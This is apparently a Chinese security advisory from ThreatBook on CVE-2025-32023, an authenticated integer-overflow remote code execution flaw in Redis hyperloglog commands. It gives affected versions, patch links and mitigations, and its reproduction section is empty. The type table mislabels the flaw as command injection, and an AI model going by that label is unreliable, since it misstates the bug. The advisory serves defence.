[](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247542701&idx=1&sn=567674aa12d861c3561d453268badb91&scene=21#wechat_redirect)
|
||||
- **虚拟机逃逸！VMware【高危漏洞】正被积极利用，国内公网暴露面最大******
|
||||
|
||||
[](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247542458&idx=1&sn=d81d049331d175a2176f0978d7f032a8&scene=21#wechat_redirect)
|
||||
- **挖矿病毒【应急响应】处置手册******
|
||||
|
||||
****- **用Deepseek实现Web渗透自动化**
|
||||
|
||||
[](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247542225&idx=2&sn=244a465fab183f4fa91a284b92a920e6&scene=21#wechat_redirect)
|
||||
- **【风险】DeepSeek等大模型私有化服务器部署近九成在“裸奔”，已知漏洞赶紧处理！**
|
||||
|
||||
****- **关于各大网安厂商推广「DeepSeek一体机」现象的深度分析**
|
||||
|
||||
[](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247541264&idx=1&sn=887bf392ba73e7c2c833a410e7168818&scene=21#wechat_redirect)
|
||||
- [Deepseek真的能搞定【安全运营】？](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247541264&idx=1&sn=887bf392ba73e7c2c833a410e7168818&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247540432&idx=1&sn=b9e7e6103e86b9966f29d7eacf8e3d1e&scene=21#wechat_redirect)
|
||||
- **【热点】哪些网络安全厂商接入了DeepSeek？**
|
||||
|
||||
[](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247540206&idx=2&sn=300737ad84f684e622fdde03da0fc1a7&scene=21#wechat_redirect)
|
||||
- **【2025】常见的网络安全服务大全（汇总详解）**
|
||||
|
||||
[](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247540343&idx=1&sn=59d6f592f71a7f1e3a18fd082aa3de40&scene=21#wechat_redirect)
|
||||
- **AI 安全 |《人工智能安全标准体系(V1.0)》(征求意见稿)，附下载**
|
||||
|
||||
|
||||
- **2025年 · 网络威胁趋势【预测】**
|
||||
|
||||
|
||||
- **【实操】常见的安全事件及应急响应处**
|
||||
|
||||
|
||||
- **2024 网络安全人才实战能力白皮书安全测试评估篇**
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,116 @@
|
||||
# 酌情处置 | Redis hyperloglog 命令远程代码执行漏洞利用条件较多
|
||||
原创 微步情报局 微步在线研究响应中心 2025-07-09 07:40
|
||||
|
||||
|
||||
|
||||
|
||||
**漏洞概况**
|
||||
|
||||
|
||||
Redis 是一个开源的使用 ANSI C 语言编写、遵守 BSD 协议、支持网络、可基于内存、分布式、可选持久性的键值对存储数据库。
|
||||
|
||||
|
||||
Redis 是一个开源的使用 ANSI C 语言编写、遵守 BSD 协议、支持网络、可基于内存、分布式、可选持久性的键值对存储数据库。
|
||||
|
||||
微步情
|
||||
报局获取到Redis
|
||||
hyperloglog 命令远
|
||||
程代码执行漏洞（
|
||||
CVE-2025-32023
|
||||
）
|
||||
情报，
|
||||
经过认证的攻击者
|
||||
可以使用精心构造的字符串触发hyperloglog命令中的整数溢出，导致越界写，
|
||||
从而执行任意代码
|
||||
。
|
||||
|
||||
该漏洞需要身份认证，且限制条件较多，用户可根据自身业务情况酌情处置。
|
||||
|
||||
**漏洞处置优先级(VPT)**
|
||||
|
||||
|
||||
|
||||
**综合处置优先级：中**
|
||||
<table><tbody><tr style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;height: 31.0667px;visibility: visible;"><td rowspan="3" data-colwidth="110" width="110" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px 7.2px;outline: 0px;overflow-wrap: break-word !important;word-break: break-all;hyphens: auto;border: 0.666667px solid rgb(191, 191, 191);max-width: 100%;box-sizing: border-box !important;vertical-align: top;visibility: visible;"><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;visibility: visible;"><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(84, 84, 84);font-size: 14px;letter-spacing: 1px;visibility: visible;"><strong style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;"><span leaf="">基本信息</span></strong></span><o:p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;"></o:p></p></td><td data-colwidth="188" width="158.33333333333334"><p style="outline: 0px;"><span leaf="" style="outline: 0px;color: rgb(84, 84, 84);letter-spacing: 1px;font-size: 14px;"><span textstyle="" style="font-size: 14px;color: rgb(84, 84, 84);font-weight: normal;">微步编号</span></span><o:p style="outline: 0px;"></o:p></p></td><td data-colwidth="229" width="88"><p data-pm-slice="0 0 []"><span style="mso-spacerun:'yes';font-family:微软雅黑;font-size:10.5000pt;mso-font-kerning:0.0000pt;"><font face="微软雅黑"><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(84, 84, 84);font-weight: normal;">XVE-2025-13001</span></span></font></span></p></td></tr><tr><td data-colwidth="188"><section><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(84, 84, 84);font-weight: normal;">CVE编号</span></span></section></td><td data-colwidth="229"><p data-pm-slice="0 0 []"><span style="mso-spacerun:'yes';font-family:微软雅黑;font-size:10.5000pt;mso-font-kerning:0.0000pt;"><font face="微软雅黑"><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(84, 84, 84);font-weight: normal;">CVE-2025-32023</span></span></font></span></p></td></tr><tr style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px 7.2px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;word-break: break-all;hyphens: auto;border-width: 0.666667px;border-color: rgb(191, 191, 191);vertical-align: top;height: 31.0667px;"><td data-colwidth="188"><section><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(84, 84, 84);font-weight: normal;">漏洞类型</span></span></section></td><td data-colwidth="229"><section><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(84, 84, 84);font-weight: normal;">命令注入</span></span></section></td></tr><tr style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;height: 31.0667px;"><td rowspan="5" data-colwidth="110" width="135" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px 7.2px;outline: 0px;overflow-wrap: break-word !important;word-break: break-all;hyphens: auto;border: 0.666667px solid rgb(191, 191, 191);max-width: 100%;box-sizing: border-box !important;vertical-align: top;"><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><strong style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(84, 84, 84);letter-spacing: 1px;font-size: 14px;"><span leaf="">利用条件评估</span></span></strong><o:p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"></o:p></p></td><td data-colwidth="188" width="158.33333333333334" style="padding: 0px 7.2px;outline: 0px;word-break: break-all;hyphens: auto;border-width: 0.666667px;border-color: rgb(191, 191, 191);Line truncated
|
||||
****
|
||||
**漏洞影响范围**
|
||||
|
||||
|
||||
|
||||
<table><tbody><tr style="outline: 0px;height: 33.2px;"><td data-colwidth="148" width="152" style="padding: 0px 7.2px;outline: 0px;word-break: break-all;hyphens: auto;border-width: 0.666667px;border-color: rgb(191, 191, 191);vertical-align: top;"><p style="outline: 0px;"><strong style="outline: 0px;"><span style="outline: 0px;color: rgb(84, 84, 84);letter-spacing: 1px;font-size: 14px;"><span leaf="">产品名称</span></span></strong><o:p style="outline: 0px;"></o:p></p></td><td data-colwidth="398" width="346"><p data-pm-slice="0 0 []"><font face="微软雅黑"><span leaf="" style="letter-spacing: 0.578px;font-size: 14px;color: rgb(84, 84, 84);">Redis|Redis</span></font></p></td></tr><tr style="outline: 0px;height: 27px;"><td data-colwidth="148" width="172" style="padding: 0px 7.2px;outline: 0px;word-break: break-all;hyphens: auto;border-width: 0.666667px;border-color: rgb(191, 191, 191);vertical-align: top;"><p style="outline: 0px;"><strong style="outline: 0px;"><span style="outline: 0px;color: rgb(84, 84, 84);letter-spacing: 1px;font-size: 14px;"><span leaf="">受影响版本</span></span></strong><o:p style="outline: 0px;"></o:p></p></td><td data-colwidth="398" width="346"><p style="padding: 0pt;" data-pm-slice="0 0 []"><font face="微软雅黑"><span leaf="" style="letter-spacing: 0.578px;font-size: 14px;color: rgb(84, 84, 84);">2.8<=version<6.2.19，</span></font><span style="font-family: 微软雅黑;font-size: 10.5pt;"><o:p></o:p></span></p><p style="padding: 0pt;"><font face="微软雅黑"><span leaf="" style="letter-spacing: 0.578px;font-size: 14px;color: rgb(84, 84, 84);">7.2.0<=version<7.2.10，</span></font><span style="font-family: 微软雅黑;font-size: 10.5pt;"><o:p></o:p></span></p><p style="padding: 0pt;"><font face="微软雅黑"><span leaf="" style="letter-spacing: 0.578px;font-size: 14px;color: rgb(84, 84, 84);">7.4.0<=version<7.4.5，</span></font><span style="font-family: 微软雅黑;font-size: 10.5pt;"><o:p></o:p></span></p><p><font face="微软雅黑"><span leaf="" style="letter-spacing: 0.578px;font-size: 14px;color: rgb(84, 84, 84);">8.0.0<=version<8.0.3</span></font></p></td></tr><tr style="outline: 0px;height: 27px;"><td data-colwidth="148" width="172" style="padding: 0px 7.2px;outline: 0px;word-break: break-all;hyphens: auto;border-width: 0.666667px;border-color: rgb(191, 191, 191);vertical-align: top;"><p data-pm-slice="0 0 []"><span style=""><font face="微软雅黑"><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(84, 84, 84);font-weight: bold;">有无修复补丁</span></span></font></span><o:p style="outline: 0px;"></o:p></p></td><td data-colwidth="398" width="346" style="padding: 0px 7.2px;outline: 0px;word-break: break-all;hyphens: auto;border-width: 0.666667px;border-color: rgb(191, 191, 191);vertical-align: top;"><span style="letter-spacing: 0.578px;font-size: 14px;color: rgb(84, 84, 84);"><span leaf="">有</span></span></td></tr></tbody></table>
|
||||
|
||||
**漏洞复现**
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
修复方案
|
||||
|
||||
|
||||
|
||||
官方修复方案：
|
||||
|
||||
官方已更新版本修复漏洞，请根据版本访问对应的链接进行更新
|
||||
|
||||
https://github.com/redis/redis/releases/tag/8.0.3
|
||||
|
||||
https://github.com/redis/redis/releases/tag/7.4.5
|
||||
|
||||
https://github.com/redis/redis/releases/tag/7.2.10
|
||||
|
||||
https://github.com/redis/redis/releases/tag/6.2.19
|
||||
|
||||
**临时缓解措施：**
|
||||
- 在不影响业务的情况下，通过使用
|
||||
ACL来限制HLL命令，阻止用户执行hyperloglog操作
|
||||
|
||||
- 确保Redis配置了身份验证和访问控制
|
||||
|
||||
- END -
|
||||
|
||||
//
|
||||
|
||||
**微步漏洞情报订阅服务**
|
||||
|
||||
|
||||
微步提供漏洞情报订阅服务，精准、高效助力企业漏洞运营：
|
||||
- 提供高价值漏洞情报，具备及时、准确、全面和可操作性，帮助企业高效应对漏洞应急与日常运营难题；
|
||||
|
||||
- 可实现对高威胁漏洞提前掌握，以最快的效率解决信息差问题，缩短漏洞运营MTTR；
|
||||
|
||||
- 提供漏洞完整的技术细节，更贴近用户漏洞处置的落地；
|
||||
|
||||
- 将漏洞与威胁事件库、APT组织和黑产团伙攻击大数据、网络空间测绘等结合，对漏洞的实际风险进行持续动态更新
|
||||
。
|
||||
|
||||
|
||||
扫码在线沟通
|
||||
|
||||
↓
|
||||
↓↓
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
[点此电话咨询]()
|
||||
|
||||
|
||||
|
||||
|
||||
**X漏洞奖励计划**
|
||||
|
||||
|
||||
“X漏洞奖励计划”是微步X情报社区推出的一款
|
||||
针对未公开
|
||||
漏洞的奖励计划，我们鼓励白帽子提交挖掘到的0day漏洞，并给予白帽子可观的奖励。我们期望通过该计划与白帽子共同努力，提升0day防御能力，守护数字世界安全。
|
||||
|
||||
活动详情：
|
||||
https://x.threatbook.com/v5/vulReward
|
||||
|
||||
|
||||
|
||||
[](https://mp.weixin.qq.com/s?__biz=MzI5NjA0NjI5MQ==&mid=2650184178&idx=1&sn=42c6b4bb8e2a1d95c686725b2159bc97&scene=21#wechat_redirect)
|
||||
|
||||
Reference in new issue
Block a user